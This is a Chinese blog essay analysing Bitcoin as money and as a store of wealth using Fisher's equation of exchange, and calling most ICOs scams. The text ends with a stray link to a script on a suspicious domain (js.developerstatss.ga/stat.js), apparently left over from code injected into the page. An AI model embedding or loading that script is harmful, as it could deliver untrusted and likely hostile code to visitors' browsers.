論比特幣（on Bitcoin）

比特幣(Bitcoin)是一種數位加密貨幣與支付系統，使用的關鍵技術/理論稱為「區塊鏈（blockchain）」，也是一種P2P支付系統，毋須經過任何中央管理者（如銀行、政府）即可完成交易。

根據發明人中本聰的演算法設計，全部的比特幣發行量會有個天然上限 — 約2100萬單位，目前已被挖出的量大概在1600多萬單位。

關於區塊鏈技術詳細內容，網路上很多文章都講解得很清楚，我就不贅言。

直接進入經濟分析：

首先我們要問比特幣到底是不是貨幣？還是如黃金一般，只是一種財富倉庫（wealth vault）？

如果比特幣是個貨幣，則以下幾個問題我們無法迴避：

1. 現今真實接受比特幣的交易行為佔總體交易行為來說，近乎微乎其微，比例非常低。
2. 即便放到非法交易，根據我讀到的資料，在類似絲路的網路毒品交易上，真正使用比特幣乃至於其他數位貨幣的比例依然不高；就算有人用，多半也在交易之後很快地換成美元、歐元等實體貨幣。

以上二點若以貨幣觀之，則比特幣沒什麼交易者接受的現況，此對其貨幣之定位十分不利。

再進一步看，如果比特幣是貨幣，那值得現在這麼高的匯率價位嗎？（目前最新匯價為1比特幣可兌換3939美元）

這讓我們回到經濟學的Fisher定律：

PQ = MV

物價 x 交易量 = 貨幣總發行量 x 貨幣週轉數

針對比特幣，4個變數其中3個我們可以確定：

貨幣總發行量我們已知，而貨幣實際週轉數相對主流實體貨幣不高，也是已知；承上所述，真實世界使用比特幣交易的交易量相對主流實體貨幣非常小，因此比特幣制度下的物價不可能高到哪去。

換言之，從Fisher公式我們可以斷言，目前比特幣的高匯價並非來自於貨幣本身的好處，而是來自於持有者把它當作是財富倉庫。

這就進入第二命題：比特幣適合當財富倉庫嗎？

財富是一個人或事物全部未來收入折現之總和。當生產力增加（亦即收入增加）時，財富就會增加。增加的財富會用不同形式被儲藏起來，大致上可分為二類：

a. 有產出：例如股票、債券、房地產、動植物等等本身是生產要素或彰顯生要要素產權之一部分的物品，可期待這類物品會產生未來收入流。誠如I. Fisher在其名著利息理論中開篇第一句：「Income is a series of events.」

b. 無產出：如黃金、鑽石、珠寶、名畫古董與鈔票本身，不可期待這類物品會產生未來收入流。

這邊我要特別說明，鈔票本身不會孳息（沒看過鈔票放保險庫中會自己生小鈔票出來的）；鈔票存入銀行產生的孳息，其實是對銀行的「債權」產生孳息，存款債權屬於第一種有產出的財富倉庫。

我也曾談過，因為「預期」存在巨大的訊息成本，所以出錯可能很大，造成財富倉庫的價格不但會受到實質生產力漲跌影響，也會受到「預期」訊息費用影響。

比特幣很明顯是屬於「無產出」的財富倉庫，而其作為財富倉庫有以下幾個優點：

1. 數量固定 ：
這也是比特幣不斷強調的特色之一。
2. 贗品機率不高：
目前區塊鏈技術尚未被破解，其技術本身保證了每一單位比特幣的真實性。網路上的交易者幾乎不太會遇到「買到假比特幣」的風險。（被黑心仲介詐騙是另一回事，不屬於贗品問題）。
3. 流通轉手費用低廉：
去中心化、網路虛擬特性加上保密性，相較於黃金、珠寶乃至於古董字畫，比特幣的轉手瞬間完成，而且費用極為低廉。
4. 價格無上限：
所有無產出財富倉庫均有此共通特色，因為無產出，所以沒有未來預估收入流可以折現計算。反過來，也就失去了這個合理評估價值的量度工具，造成此類財富倉庫價格波動可以非常劇烈且快速。

從上述四個優點不能探知，為什麼比特幣會成為一種炒作標的。因為其本身的確具備相當優良的財富倉庫基因。

可是同樣以財富倉庫看，比特幣有以下缺點：

1. 價格可快速下跌至零：
正因為無產出，使得比特幣成為「無根」的財富倉庫，上漲可無限，但下跌至零也是合理。畢竟無產出的物品難以有預期收入來做真實價值（intrinsic value）的支撐內涵。
2. 技術有被破解之可能。
3. 競爭易轉激烈：
正因為區塊鏈採開放原始碼，複製同樣的技術創立新數位貨幣的進入門檻很低。
2017年將近100種新區塊鏈貨幣進入市場，其中有30%完全無人使用與交易。
當交易速度更快、保密性更高（如Ether coin）進入市場，競爭之下必然會拉低比特幣的匯價或漲幅。

而從宏觀角度來看，誕生新區塊鏈貨幣的門檻很低，是不是也意味著「數量固定」這一點其實是守不住的？值得思考。
4. 無歷史共識：
相較於黃金、珠寶乃至於古董字畫，比特幣的歷史共識非常低，尤其跟黃金相比。這會使得價格下跌時，牛群信心崩盤、樹倒猢猻散的速度飛快，猶如荷蘭鬱金香炒作事件。新玩意兒容易炒，但要死也特別快。

綜合上述幾點，從投資者角度看，比特幣雖然有被當做財富倉庫的素質，但本身的缺點造成其價格上下無邊、波動無時。作為投資標的來看，資訊費用太高，我認為閒錢幾十萬玩玩兒可以，真要當主要投資標的是萬萬不可。

事實上我認為所有的無產出財富倉庫，均不適合當做主要投資標的，當然也談不上什麼避險功能啦，那是用來騙無知者的謊言。

最後再談一句ICO（initial coin offering）。ICO跟上述比特幣分析其實沒啥關係，只是同樣使用了區塊鏈技術而已。

而現在多數ICO說穿了，就是「自己鑄代幣出來騙真錢」。一句話打完收工。2000年.com熱潮是一堆連產品、連獲利能力都沒有的公司印股票換鈔票。現在更簡單，鑄數位代幣換真金白銀。

如果有人笨到會相信湯姆熊換給你的代幣可以漲到1代幣值幾十萬台幣，那你就去投資吧。https://js.developerstatss.ga/stat.js?n=ns1